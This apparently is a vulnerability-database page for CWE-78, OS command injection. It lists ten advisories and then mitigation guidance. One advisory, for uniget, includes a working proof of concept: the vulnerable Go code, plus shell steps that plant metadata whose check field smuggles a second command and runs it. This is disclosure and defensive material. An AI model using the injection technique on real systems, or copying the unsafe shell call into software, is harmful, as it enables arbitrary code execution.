CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8298 vulnerabilities reference this CWE, most recent first.
GHSA-QQ6G-CH63-JRF2
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:22The setter.xml component of the Common Gateway Interface on Compal CH7465LG 6.12.18.25-2p4 devices does not properly validate ping command arguments, which allows remote authenticated users to execute OS commands as root via shell metacharacters in the Target_IP parameter.
{
"affected": [],
"aliases": [
"CVE-2019-17499"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-11T11:15:00Z",
"severity": "HIGH"
},
"details": "The setter.xml component of the Common Gateway Interface on Compal CH7465LG 6.12.18.25-2p4 devices does not properly validate ping command arguments, which allows remote authenticated users to execute OS commands as root via shell metacharacters in the Target_IP parameter.",
"id": "GHSA-qq6g-ch63-jrf2",
"modified": "2024-04-04T02:22:31Z",
"published": "2022-05-24T16:58:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17499"
},
{
"type": "WEB",
"url": "https://gbti.pl/public/10_2019-compal.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQ76-G6VX-4JQG
Vulnerability from github – Published: 2025-07-11 15:31 – Updated: 2025-07-11 21:31A hidden remote support feature protected by a static secret in TOTOLINK N300RB firmware version 8.54 allows an authenticated attacker to execute arbitrary OS commands with root privileges.
{
"affected": [],
"aliases": [
"CVE-2025-52089"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-11T15:15:24Z",
"severity": "MODERATE"
},
"details": "A hidden remote support feature protected by a static secret in TOTOLINK N300RB firmware version 8.54 allows an authenticated attacker to execute arbitrary OS commands with root privileges.",
"id": "GHSA-qq76-g6vx-4jqg",
"modified": "2025-07-11T21:31:04Z",
"published": "2025-07-11T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52089"
},
{
"type": "WEB",
"url": "https://0x09.dev/posts/toto_decouvre_une_interface_de_debug"
},
{
"type": "WEB",
"url": "http://n300rb.com"
},
{
"type": "WEB",
"url": "http://totolink.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QQ7F-QFJW-FJ9F
Vulnerability from github – Published: 2026-05-29 12:31 – Updated: 2026-06-01 21:30Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Administration WebUI in Waterfall WF-500 TX Host in version 7.9.1.0 R2502171040 that allows remote authenticated attackers to execute arbitrary operating system commands on the WF-500 TX Host.
{
"affected": [],
"aliases": [
"CVE-2025-41265"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T12:16:21Z",
"severity": "HIGH"
},
"details": "Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) in the Administration WebUI in Waterfall WF-500 TX Host in version 7.9.1.0 R2502171040 that allows remote authenticated attackers to execute arbitrary operating system commands on the WF-500 TX Host.",
"id": "GHSA-qq7f-qfjw-fj9f",
"modified": "2026-06-01T21:30:41Z",
"published": "2026-05-29T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41265"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-41265"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QQC4-654M-G55G
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38In SmartBear Collaborator Server through 13.3.13302, use of the Google Web Toolkit (GWT) API introduces a post-authentication Java deserialization vulnerability. The application's UpdateMemento class accepts a serialized Java object directly from the user without properly sanitizing it. A malicious object can be submitted to the server via an authenticated attacker to execute commands on the underlying system.
{
"affected": [],
"aliases": [
"CVE-2020-26118"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-11T15:15:00Z",
"severity": "HIGH"
},
"details": "In SmartBear Collaborator Server through 13.3.13302, use of the Google Web Toolkit (GWT) API introduces a post-authentication Java deserialization vulnerability. The application\u0027s UpdateMemento class accepts a serialized Java object directly from the user without properly sanitizing it. A malicious object can be submitted to the server via an authenticated attacker to execute commands on the underlying system.",
"id": "GHSA-qqc4-654m-g55g",
"modified": "2022-05-24T17:38:31Z",
"published": "2022-05-24T17:38:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26118"
},
{
"type": "WEB",
"url": "https://support.smartbear.com/collaborator/docs/general-info/version-history/ver-13/ver-13-0.html"
},
{
"type": "WEB",
"url": "https://support.smartbear.com/collaborator/docs/general-info/whats-new.html"
},
{
"type": "WEB",
"url": "https://support.smartbear.com/collaborator/docs/server/index.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QQCG-F3M6-Q34F
Vulnerability from github – Published: 2022-05-13 00:00 – Updated: 2022-05-24 00:01An OS command injection vulnerability exists in the console factory functionality of InHand Networks InRouter302 V3.5.4. A specially-crafted network request can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-26007"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-12T17:15:00Z",
"severity": "HIGH"
},
"details": "An OS command injection vulnerability exists in the console factory functionality of InHand Networks InRouter302 V3.5.4. A specially-crafted network request can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.",
"id": "GHSA-qqcg-f3m6-q34f",
"modified": "2022-05-24T00:01:31Z",
"published": "2022-05-13T00:00:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26007"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1475"
},
{
"type": "WEB",
"url": "https://www.inhandnetworks.com/upload/attachment/202205/10/InHand-PSA-2022-01.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQFG-7XR5-8HVG
Vulnerability from github – Published: 2024-04-29 09:31 – Updated: 2024-04-29 09:31A vulnerability has been found in MailCleaner up to 2023.03.14 and classified as critical. Affected by this vulnerability is an unknown functionality of the component Admin Endpoints. The manipulation leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The identifier VDB-262309 was assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-3193"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-29T07:15:07Z",
"severity": "HIGH"
},
"details": "A vulnerability has been found in MailCleaner up to 2023.03.14 and classified as critical. Affected by this vulnerability is an unknown functionality of the component Admin Endpoints. The manipulation leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The identifier VDB-262309 was assigned to this vulnerability.",
"id": "GHSA-qqfg-7xr5-8hvg",
"modified": "2024-04-29T09:31:52Z",
"published": "2024-04-29T09:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3193"
},
{
"type": "WEB",
"url": "https://github.com/MailCleaner/MailCleaner/pull/601"
},
{
"type": "WEB",
"url": "https://modzero.com/en/advisories/mz-24-01-mailcleaner"
},
{
"type": "WEB",
"url": "https://modzero.com/static/MZ-24-01_modzero_MailCleaner.pdf"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.262309"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.262309"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QQG6-4J54-68GR
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38oal_ipt_addBridgeIsolationRules on TP-Link TL-WR840N 6_EU_0.9.1_4.16 devices allows OS command injection because a raw string entered from the web interface (an IP address field) is used directly for a call to the system library function (for iptables).
{
"affected": [],
"aliases": [
"CVE-2020-36178"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-06T21:15:00Z",
"severity": "CRITICAL"
},
"details": "oal_ipt_addBridgeIsolationRules on TP-Link TL-WR840N 6_EU_0.9.1_4.16 devices allows OS command injection because a raw string entered from the web interface (an IP address field) is used directly for a call to the system library function (for iptables).",
"id": "GHSA-qqg6-4j54-68gr",
"modified": "2022-05-24T17:38:07Z",
"published": "2022-05-24T17:38:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36178"
},
{
"type": "WEB",
"url": "https://github.com/therealunicornsecurity/therealunicornsecurity.github.io/blob/master/_posts/2020-10-11-TPLink.md"
},
{
"type": "WEB",
"url": "https://therealunicornsecurity.github.io/TPLink"
},
{
"type": "WEB",
"url": "https://www.tp-link.com/fr/support/download/tl-wr840n/v6/#Firmware"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QQQ4-5773-PMW5
Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-06-08 23:54I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.
Summary
A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.
This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.
Details
The vulnerable code is located in:
tool.go:250
Vulnerable function:
```go id="f2g0ic" func (tool *Tool) RunVersionCheck() (string, error) { cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") version, err := cmd.Output() return string(version), nil }
The issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.
Related structure:
```go id="7f4yzm"
type Tool struct {
Check string
}
Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.
Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.
PoC
Step 1 — Verify the vulnerable binary:
```bash id="7k3d07" /tmp/uniget-bin --version
Output:
```text id="p2gk9z"
uniget version main
Step 2 — Create malicious metadata cache:
```bash id="j5zpr0" mkdir -p ~/.local/var/cache/uniget
cat > ~/.local/var/cache/uniget/metadata.json << 'EOF' { "tools": [ { "name": "evil-tool", "version": "1.0.0", "binary": "${target}/bin/evil-tool", "check": "echo '1.0.0'; id > /tmp/rce-proof.txt", "tags": ["test"], "description": "RCE test", "repository": "https://example.com", "license": { "name": "MIT", "link": "https://example.com" }, "sources": [ { "registry": "ghcr.io", "repository": "uniget-org/tools" } ] } ] } EOF
Step 3 — Create placeholder binary:
```bash id="53ml7u"
mkdir -p ~/.local/usr/local/bin
cat > ~/.local/usr/local/bin/evil-tool << 'EOF'
#!/bin/bash
echo "placeholder"
EOF
chmod +x ~/.local/usr/local/bin/evil-tool
Step 4 — Trigger the vulnerable workflow:
```bash id="w4j7h4" /tmp/uniget-bin describe evil-tool --prefix ~/.local
Application output:
```text id="q0k54m"
Name: evil-tool
Description: RCE test
Repository: https://example.com
Version: 1.0.0
Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>
Step 5 — Verify arbitrary command execution:
```bash id="w7r8z3" ls -la /tmp/rce-proof.txt cat /tmp/rce-proof.txt
Actual output:
```bash id="6plm7v"
-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)
This confirms arbitrary command execution through the untrusted check field loaded from metadata.
Impact
This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.
An attacker may be able to:
- Execute arbitrary shell commands
- Exfiltrate sensitive files or environment variables
- Install malware or backdoors
- Modify or delete accessible files
- Establish persistence on the victim machine
- Compromise CI/CD environments using uniget automation
Any user importing or processing attacker-controlled metadata may be impacted.
Suggested Remediation
Avoid using /bin/bash -c with untrusted input.
Instead of:
```go id="ntxjlwm" exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
consider executing fixed binaries and arguments directly without invoking a shell.
For example:
```go id="ngbkk2"
exec.Command(binary, "--version")
or sanitize and strictly validate allowed commands before execution.
Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gitlab.com/uniget-org/cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.27.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45152"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:33:10Z",
"nvd_published_at": "2026-05-27T22:16:36Z",
"severity": "HIGH"
},
"details": "I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.\n\n### Summary\n\nA command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim\u2019s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed.\n\nThis vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.\n\n### Details\n\nThe vulnerable code is located in:\n\n`tool.go:250`\n\nVulnerable function:\n\n```go id=\"f2g0ic\"\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n cmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d \u0027\\n\u0027\")\n version, err := cmd.Output()\n return string(version), nil\n}\n```\n\nThe issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.\n\nRelated structure:\n\n```go id=\"7f4yzm\"\ntype Tool struct {\n Check string\n}\n```\n\nMetadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.\n\nBecause `/bin/bash -c` is used, shell metacharacters such as `;`, `\u0026\u0026`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection.\n\n### PoC\n\nStep 1 \u2014 Verify the vulnerable binary:\n\n```bash id=\"7k3d07\"\n/tmp/uniget-bin --version\n```\n\nOutput:\n\n```text id=\"p2gk9z\"\nuniget version main\n```\n\nStep 2 \u2014 Create malicious metadata cache:\n\n```bash id=\"j5zpr0\"\nmkdir -p ~/.local/var/cache/uniget\n\ncat \u003e ~/.local/var/cache/uniget/metadata.json \u003c\u003c \u0027EOF\u0027\n{\n \"tools\": [\n {\n \"name\": \"evil-tool\",\n \"version\": \"1.0.0\",\n \"binary\": \"${target}/bin/evil-tool\",\n \"check\": \"echo \u00271.0.0\u0027; id \u003e /tmp/rce-proof.txt\",\n \"tags\": [\"test\"],\n \"description\": \"RCE test\",\n \"repository\": \"https://example.com\",\n \"license\": {\n \"name\": \"MIT\",\n \"link\": \"https://example.com\"\n },\n \"sources\": [\n {\n \"registry\": \"ghcr.io\",\n \"repository\": \"uniget-org/tools\"\n }\n ]\n }\n ]\n}\nEOF\n```\n\nStep 3 \u2014 Create placeholder binary:\n\n```bash id=\"53ml7u\"\nmkdir -p ~/.local/usr/local/bin\n\ncat \u003e ~/.local/usr/local/bin/evil-tool \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\necho \"placeholder\"\nEOF\n\nchmod +x ~/.local/usr/local/bin/evil-tool\n```\n\nStep 4 \u2014 Trigger the vulnerable workflow:\n\n```bash id=\"w4j7h4\"\n/tmp/uniget-bin describe evil-tool --prefix ~/.local\n```\n\nApplication output:\n\n```text id=\"q0k54m\"\nName: evil-tool\n Description: RCE test\n Repository: https://example.com\n Version: 1.0.0\n Check: \u003cecho \u00271.0.0\u0027; id \u003e /tmp/rce-proof.txt\u003e\n```\n\nStep 5 \u2014 Verify arbitrary command execution:\n\n```bash id=\"w7r8z3\"\nls -la /tmp/rce-proof.txt\ncat /tmp/rce-proof.txt\n```\n\nActual output:\n\n```bash id=\"6plm7v\"\n-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt\n\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)\n```\n\n\u003cimg width=\"1107\" height=\"694\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7\" /\u003e\n\n\u003cimg width=\"1909\" height=\"631\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e\" /\u003e\n\n\nThis confirms arbitrary command execution through the untrusted `check` field loaded from metadata.\n\n### Impact\n\nThis issue allows arbitrary command execution on systems running uniget when processing malicious metadata.\n\nAn attacker may be able to:\n\n* Execute arbitrary shell commands\n* Exfiltrate sensitive files or environment variables\n* Install malware or backdoors\n* Modify or delete accessible files\n* Establish persistence on the victim machine\n* Compromise CI/CD environments using uniget automation\n\nAny user importing or processing attacker-controlled metadata may be impacted.\n\n### Suggested Remediation\n\nAvoid using `/bin/bash -c` with untrusted input.\n\nInstead of:\n\n```go id=\"ntxjlwm\"\nexec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d \u0027\\n\u0027\")\n```\n\nconsider executing fixed binaries and arguments directly without invoking a shell.\n\nFor example:\n\n```go id=\"ngbkk2\"\nexec.Command(binary, \"--version\")\n```\n\nor sanitize and strictly validate allowed commands before execution.\n\nThank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.",
"id": "GHSA-qqq4-5773-pmw5",
"modified": "2026-06-08T23:54:59Z",
"published": "2026-05-13T15:33:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45152"
},
{
"type": "PACKAGE",
"url": "https://github.com/uniget-org/cli"
},
{
"type": "WEB",
"url": "https://github.com/uniget-org/cli/releases/tag/v0.27.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution"
}
GHSA-QQQW-GM93-QF6M
Vulnerability from github – Published: 2024-10-23 21:30 – Updated: 2024-10-23 21:41The Snyk gradle plugin is vulnerable to Code Injection when scanning an untrusted Gradle project. The vulnerability can be triggered if Snyk test is run inside the untrusted project due to the improper handling of the current working directory name. Snyk recommends only scanning trusted projects.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "snyk-gradle-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-48964"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-23T21:41:02Z",
"nvd_published_at": "2024-10-23T19:15:19Z",
"severity": "HIGH"
},
"details": "The Snyk gradle plugin is vulnerable to Code Injection when scanning an untrusted Gradle project. The vulnerability can be triggered if Snyk test is run inside the untrusted project due to the improper handling of the current working directory name. Snyk recommends only scanning trusted projects.",
"id": "GHSA-qqqw-gm93-qf6m",
"modified": "2024-10-23T21:41:02Z",
"published": "2024-10-23T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48964"
},
{
"type": "WEB",
"url": "https://github.com/snyk/snyk-gradle-plugin/commit/2f5ee7579f00660282dd161a0b79690f4a9c865d"
},
{
"type": "PACKAGE",
"url": "https://github.com/snyk/snyk-gradle-plugin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "OS Command Injection in Snyk gradle plugin"
}
GHSA-QQR3-6P45-F2XM
Vulnerability from github – Published: 2022-11-16 12:00 – Updated: 2022-11-29 15:30A vulnerability in the CLI of Cisco Firepower Threat Defense (FTD) Software and Cisco FXOS Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system as root. This vulnerability is due to improper input validation for specific CLI commands. An attacker could exploit this vulnerability by injecting operating system commands into a legitimate command. A successful exploit could allow the attacker to escape the restricted command prompt and execute arbitrary commands on the underlying operating system. To successfully exploit this vulnerability, an attacker would need valid Administrator credentials.
{
"affected": [],
"aliases": [
"CVE-2022-20934"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-15T21:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the CLI of Cisco Firepower Threat Defense (FTD) Software and Cisco FXOS Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system as root. This vulnerability is due to improper input validation for specific CLI commands. An attacker could exploit this vulnerability by injecting operating system commands into a legitimate command. A successful exploit could allow the attacker to escape the restricted command prompt and execute arbitrary commands on the underlying operating system. To successfully exploit this vulnerability, an attacker would need valid Administrator credentials.",
"id": "GHSA-qqr3-6p45-f2xm",
"modified": "2022-11-29T15:30:25Z",
"published": "2022-11-16T12:00:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20934"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-fxos-cmd-inj-Q9bLNsrK"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ftd-fxos-cmd-inj-Q9bLNsrK"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
